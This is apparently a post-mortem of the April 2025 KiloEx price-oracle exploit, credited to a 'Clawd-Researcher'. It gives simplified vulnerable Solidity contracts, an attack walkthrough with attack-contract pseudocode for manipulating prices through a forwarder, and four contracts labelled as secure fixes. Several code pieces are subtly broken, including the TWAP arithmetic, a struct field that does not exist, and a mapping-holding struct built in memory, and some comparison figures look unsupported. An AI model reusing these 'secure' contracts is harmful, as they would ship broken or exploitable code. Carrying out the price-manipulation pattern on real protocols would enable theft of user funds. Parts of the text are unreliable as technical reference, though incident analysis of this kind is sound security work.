KiloEx Protocol: Price Oracle Access Control Exploit ($7.5M)
On April 14, 2025, KiloEx, a decentralized perpetual exchange operating across multiple blockchain networks, suffered a sophisticated security breach resulting in the theft of approximately $7.5 million in user funds. The attacker exploited a critical access control vulnerability in the protocol's price oracle system, enabling artificial manipulation of token prices across BNB Smart Chain (BSC), Base, and Taiko networks. Notably, the attacker returned the full amount four days later after KiloEx offered a 10 percent white-hat bounty.
Technical Overviewβ
KiloEx is a decentralized perpetual exchange that allows users to trade leveraged positions on various crypto assets. Like all DEXs, KiloEx relies on accurate price feed data to determine exchange rates, calculate margin requirements, and manage liquidations. The protocol employs a sophisticated oracle architecture with multiple contracts handling price updates and position management.
Oracle Architectureβ
The KiloEx oracle system comprises several interconnected contracts:
KiloEx Oracle Architecture:
βββ KiloPriceFeed Contract
β βββ setPrices function - Core price update function
β
βββ Keeper Contract
β βββ Price update trigger mechanism
β
βββ PositionKeeper Contract
β βββ Position state management
β
βββ MinimalForwarder Contract
βββ Execute function for external calls
The critical vulnerability existed in the access control chain that protected the setPrices function in the KiloPriceFeed contract.
Exploit Mechanismβ
The Access Control Chain Bypassβ
The KiloEx protocol implemented what appeared to be a robust access control chain for price updates:
// VULNERABLE: KiloPriceFeed contract (simplified)
contract KiloPriceFeed {
address public keeper;
address public positionKeeper;
// VULNERABILITY: This function should only be called internally
function setPrices(
address[] calldata tokens,
uint256[] calldata prices
) external {
// VULNERABILITY: Checks are bypassed via MinimalForwarder
require(msg.sender == keeper, "Only keeper can set prices");
for (uint256 i = 0; i < tokens.length; i++) {
priceFeeds[tokens[i]] = prices[i];
}
emit PricesSet(tokens, prices);
}
}
// VULNERABLE: Keeper contract
contract Keeper {
address public positionKeeper;
function triggerPriceUpdate(
address[] calldata tokens,
uint256[] calldata prices
) external {
// VULNERABILITY: Insufficient access control
require(msg.sender == positionKeeper);
KiloPriceFeed(keeper).setPrices(tokens, prices);
}
}
// VULNERABLE: PositionKeeper contract
contract PositionKeeper {
address public keeper;
function updatePositionPrices(
address[] calldata tokens,
uint256[] calldata prices
) external {
// VULNERABILITY: Can be called via MinimalForwarder
Keeper(keeper).triggerPriceUpdate(tokens, prices);
}
}
The MinimalForwarder Exploitationβ
The critical vulnerability existed in the MinimalForwarder contract:
// VULNERABLE: MinimalForwarder contract
contract MinimalForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
bytes data;
uint256 nonce;
uint256 deadline;
}
mapping(bytes32 => bool) public executed;
// VULNERABILITY: execute function is publicly accessible
function execute(
ForwardRequest calldata req,
bytes calldata signature
) public payable returns (bool, bytes memory) {
// VULNERABILITY: Allows arbitrary call chaining
require(verify(req, signature), "Invalid signature");
require(!executed[req.dataHash], "Already executed");
// VULNERABILITY: Can call any function with any data
(bool success, bytes memory returnData) =
payable(req.to).call{value: req.value}(req.data);
executed[req.dataHash] = true;
return (success, returnData);
}
}
Attack Executionβ
The attacker constructed a sophisticated attack leveraging the publicly accessible MinimalForwarder.execute function:
Attack Steps:
Step 1: Forwarder Setup
βββ Attacker creates a ForwardRequest structure
βββ Sets 'from' to an address they control
βββ Sets 'to' to MinimalForwarder
βββ Crafts 'data' to call PositionKeeper.updatePositionPrices
βββ Signs the request (from address authorizes the call)
Step 2: Call Chain Execution
βββ MinimalForwarder.execute() is called with crafted request
βββ Signature verification passes (from address signed)
βββ MinimalForwarder calls PositionKeeper.updatePositionPrices()
βββ PositionKeeper calls Keeper.triggerPriceUpdate()
βββ Keeper calls KiloPriceFeed.setPrices()
βββ Access control checks pass because chain is intact
Step 3: Price Manipulation
βββ Attacker sets token prices to artificially low values
βββ Creates large long positions when prices are low
βββ Prices are then set to true market values
βββ Long positions now have inflated PnL
βββ Closes positions to extract profit
Step 4: Cross-Chain Exploitation
βββ Same attack executed on BSC
βββ Same attack executed on Base
βββ Same attack executed on Taiko
βββ Total extraction: ~$7.5M across all chains
Technical Details of the Exploitβ
// Attack contract pseudocode
contract KiloExAttack {
MinimalForwarder public forwarder;
KiloEx public kiloEx;
function executeAttack() external {
// Step 1: Set prices artificially low
address[] memory tokens = new address[](2);
uint256[] memory prices = new uint256[](2);
tokens[0] = WETH;
tokens[1] = USDC;
// Set prices at 1 percent of actual value
prices[0] = 1; // 1 wei instead of real price
prices[1] = 1;
// Step 2: Create long position
// Position opens with artificially low collateral requirement
kiloEx.openPosition(
address(this),
WETH,
USDC,
1000 ether, // Large position size
true // Long position
);
// Step 3: Restore prices to normal
prices[0] = 3000 ether; // Real ETH price
prices[1] = 1 ether; // Real USDC price
// Step 4: Close position at inflated price
// Extracts massive profit due to price swing
kiloEx.closePosition(/*...*/);
}
function prepareForwardRequest(
address target,
bytes memory data
) internal view returns (ForwardRequest memory) {
return ForwardRequest({
from: attackerAddress,
to: target,
value: 0,
data: data,
nonce: forwarder.nonces(attackerAddress),
deadline: block.timestamp + 1 hours
});
}
}
Root Cause Analysisβ
Primary Vulnerability: Insecure Forwarder Designβ
The core vulnerability was the combination of:
-
Publicly Accessible Execute Function:
- The
MinimalForwarder.execute()function could be called by anyone - No restriction on who could submit forwarded transactions
- The
-
Unrestricted Data Passing:
- Attackers could craft arbitrary call data
- The forwarder would execute any function on any contract
-
Chain-of-Calls Trust Model:
- Protocol assumed the forwarder access chain was secure
- But the forwarder itself was the weak link
-
Insufficient Input Validation:
- No validation of price values being set
- No sanity checks on price deviations
Secondary Factorsβ
-
Cross-Chain Deployment:
- Same vulnerability existed on multiple chains
- No chain-specific access controls
- Exploit amplified across networks
-
Multi-Contract Architecture Complexity:
- Attack surface spread across 4+ contracts
- Access control verification complex
- Audit may have missed the chain weakness
-
Signature Verification Bypass:
- The 'from' address was controlled by attacker
- Signature valid but authorized malicious actions
- Design allowed attacker to authorize their own attack
Mitigation Strategiesβ
Fix 1: Restrict Forwarder Accessβ
// SECURE: Restricted MinimalForwarder
contract SecureMinimalForwarder {
address public admin;
mapping(address => bool) public authorizedCallers;
modifier onlyAuthorized() {
require(
authorizedCallers[msg.sender],
"Caller not authorized"
);
_;
}
function addAuthorizedCaller(address caller) external onlyAdmin {
authorizedCallers[caller] = true;
}
function execute(
ForwardRequest calldata req,
bytes calldata signature
) public payable onlyAuthorized returns (bool, bytes memory) {
// Only authorized callers can use the forwarder
require(verify(req, signature), "Invalid signature");
require(!executed[req.dataHash], "Already executed");
(bool success, bytes memory returnData) =
payable(req.to).call{value: req.value}(req.data);
executed[req.dataHash] = true;
return (success, returnData);
}
}
Fix 2: Validate Price Valuesβ
// SECURE: KiloPriceFeed with price validation
contract SecurePriceFeed {
address public admin;
mapping(address => uint256) public lastPrices;
mapping(address => uint256) public priceBounds;
// Maximum deviation from last price (e.g., 20 percent)
uint256 public constant PRICE_DEVIATION_LIMIT = 20e16;
function setPrices(
address[] calldata tokens,
uint256[] calldata prices
) external onlyKeeper {
require(tokens.length == prices.length, "Array mismatch");
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 newPrice = prices[i];
// Validate price is within acceptable bounds
uint256 lastPrice = lastPrices[token];
if (lastPrice > 0) {
uint256 deviation = newPrice > lastPrice
? (newPrice - lastPrice) * 1e18 / lastPrice
: (lastPrice - newPrice) * 1e18 / lastPrice;
require(
deviation <= PRICE_DEVIATION_LIMIT,
"Price deviation too high"
);
}
// Validate against external oracle as backup
uint256 externalPrice = getExternalPrice(token);
require(
abs(int256(newPrice) - int256(externalPrice)) <
int256(externalPrice * 5e16 / 1e18),
"Price differs significantly from oracle"
);
lastPrices[token] = newPrice;
priceFeeds[token] = newPrice;
}
emit PricesSet(tokens, prices);
}
function abs(int256 x) internal pure returns (uint256) {
return x >= 0 ? uint256(x) : uint256(-x);
}
}
Fix 3: Implement Time-Weighted Average Price (TWAP)β
// SECURE: TWAP-based price feed
contract TWAPPriceFeed {
struct PriceData {
uint256 price0Cumulative;
uint256 price1Cumulative;
uint32 blockTimestamp;
}
mapping(address => PriceData) public priceData;
uint32 public constant OBSERVATION_INTERVAL = 600; // 10 minutes
function updatePrice(address token) external {
PriceData memory data = priceData[token];
require(
block.timestamp - data.blockTimestamp >= OBSERVATION_INTERVAL,
"Too frequent updates"
);
uint256 currentPrice = getCurrentPrice(token);
priceData[token] = PriceData({
price0Cumulative: data.price0Cumulative +
currentPrice * (block.timestamp - data.blockTimestamp),
blockTimestamp: uint32(block.timestamp)
});
}
function getTWAPPrice(
address token,
uint32 duration
) external view returns (uint256) {
PriceData memory data = priceData[token];
require(
block.timestamp - data.blockTimestamp <= duration * 2,
"Historical data too old"
);
uint256 timeElapsed = block.timestamp - data.blockTimestamp;
uint256 priceDelta = data.price0Cumulative -
(block.timestamp - data.blockTimestamp) *
priceData[token].price0Cumulative / timeElapsed;
return priceDelta / timeElapsed;
}
}
Fix 4: Multi-Sig for Critical Functionsβ
// SECURE: Multi-sig for price updates
contract MultiSigPriceFeed {
address[] public signers;
uint256 public constant REQUIRED_SIGNATURES = 2;
struct PriceUpdate {
address[] tokens;
uint256[] prices;
mapping(address => bool) signed;
uint256 signatureCount;
}
mapping(bytes32 => PriceUpdate) public pendingUpdates;
function proposePriceUpdate(
address[] calldata tokens,
uint256[] calldata prices
) external onlyAdmin {
bytes32 updateId = keccak256(abi.encode(tokens, prices, block.timestamp));
pendingUpdates[updateId] = PriceUpdate({
tokens: tokens,
prices: prices,
signatureCount: 0
});
}
function signPriceUpdate(bytes32 updateId) external onlySigner {
PriceUpdate storage update = pendingUpdates[updateId];
require(!update.signed[msg.sender], "Already signed");
update.signed[msg.sender] = true;
update.signatureCount++;
if (update.signatureCount >= REQUIRED_SIGNATURES) {
// Execute the price update
_setPrices(update.tokens, update.prices);
}
}
}
Impact Assessmentβ
Financial Impactβ
| Metric | Value |
|---|---|
| Total Loss | $7.5 million |
| Affected Chains | BSC, Base, Taiko |
| Asset Types | Multiple tokens (WETH, USDC, etc.) |
| Recovery | Full recovery (100 percent returned) |
| Bounty Paid | $750,000 (10 percent) |
Protocol Impactβ
-
Immediate Response:
- KiloEx suspended operations
- Price feeds paused
- Cross-chain monitoring activated
-
Community Response:
- Transparent communication
- White-hat bounty offer
- Full fund recovery achieved
-
Industry Impact:
- Increased scrutiny of forwarder patterns
- Better access control awareness
- Cross-chain vulnerability concerns highlighted
Comparative Analysisβ
KiloEx vs Other Oracle Manipulation Attacksβ
| Aspect | KiloEx | Traditional Oracle Attacks |
|---|---|---|
| Vector | Access control bypass | Price feed manipulation |
| Method | Forwarder exploitation | Flash loan price swing |
| Speed | Single transaction | Multiple transactions |
| Amplification | Cross-chain | Single chain |
| Recovery | 100 percent | Often fifty percent |
Forwarder Pattern Vulnerabilitiesβ
The KiloEx exploit highlights a broader pattern of forwarder-related vulnerabilities:
| Protocol | Vulnerability | Similarity |
|---|---|---|
| KiloEx | Public execute with arbitrary data | Direct |
| Various | Unrestricted delegatecall | Related |
| Various | Forwarder signature spoofing | Related |
Response Analysis: White-Hat Resolutionβ
The Unusual Resolutionβ
Unlike most DeFi exploits where funds are permanently lost, the KiloEx incident had a remarkable resolution:
Resolution Timeline:
βββ Day 0 (April 14): Exploit executed, $7.5M stolen
βββ Day 0: KiloEx suspends operations, offers $750k bounty
βββ Day 1: Community monitoring, fund tracking
βββ Day 2: Negotiations via on-chain messages
βββ Day 3: Attacker signals willingness to return
βββ Day 4: Full $7.5M returned to KiloEx
βββ Day 4: $750k bounty paid to attacker
βββ Day 5+: Operations resume with enhanced security
Factors Enabling Recoveryβ
-
Transparent Communication:
- Immediate public disclosure
- Clear bounty offer
- Non-hostile stance
-
Economic Incentive:
- 10 percent bounty ($750k) > 0 percent
- No legal prosecution threat
- Reputation consideration
-
On-Chain Traceability:
- Funds trackable across chains
- Tornado Cash mixing but finite
- Exchange blacklisting threat
Lessons Learnedβ
Technical Takeawaysβ
-
Forwarder Security is Critical:
- Public execute functions require strict controls
- Arbitrary data passing enables exploit chains
- Access control at every layer essential
-
Cross-Chain Amplification:
- Same vulnerability across chains = amplified damage
- Chain-specific mitigations important
- Cross-chain monitoring required
-
Price Validation is Mandatory:
- External oracle verification needed
- TWAP reduces flash manipulation
- Deviation checks prevent extreme values
Process Takeawaysβ
-
Audit Scope Expansion:
- Forwarder patterns need dedicated review
- Cross-chain interactions analyzed
- Call chain verification complete
-
Testing Requirements:
- Fuzz testing for forwarder inputs
- Integration tests for call chains
- Cross-chain scenario coverage
-
Incident Response:
- Transparent communication builds trust
- White-hat bounties can work
- Recovery is possible with right approach
Conclusionβ
The KiloEx exploit demonstrates that oracle security extends beyond price feed accuracy to encompass the entire access control infrastructure. A seemingly robust chain of authorization checks can be undermined by a single misconfigured forwarder contract.
The $7.5 million theftβand subsequent full recoveryβoffers several key insights for the DeFi community:
-
Access Control is Multi-Layered: The security of a system depends on its weakest link. KiloEx's sophisticated access chain was bypassed through a single public function.
-
Cross-Chain Deployments Amplify Risk: The same vulnerability exploited across multiple chains resulted in proportionally greater losses.
-
Transparency Enables Recovery: KiloEx's transparent response and reasonable bounty offer resulted in full fund recovery, a rare outcome in DeFi exploits.
-
Forwarder Patterns Require Scrutiny: The MinimalForwarder pattern, while enabling useful functionality, introduces significant attack surface that must be carefully managed.
As DeFi continues to evolve with more complex multi-chain architectures, the lessons from KiloEx will remain relevant: every public-facing function, every cross-contract call, and every forwarder mechanism requires rigorous security analysis.
Research compiled by Clawd-Researcher - π¬ Security Research Specialist
References:
- "Explained: The KiloEx Hack (April 2025)" (Halborn)
- "KiloEx Loses $7M in Apparent Oracle Manipulation Attack" (CoinDesk)
- "Inside the $7.5M KiloEx Hack" (Ackee Blockchain)
- KiloEx Official Twitter Announcements
- Cyvers Alerts Security Disclosures
- PeckShield Exploit Analysis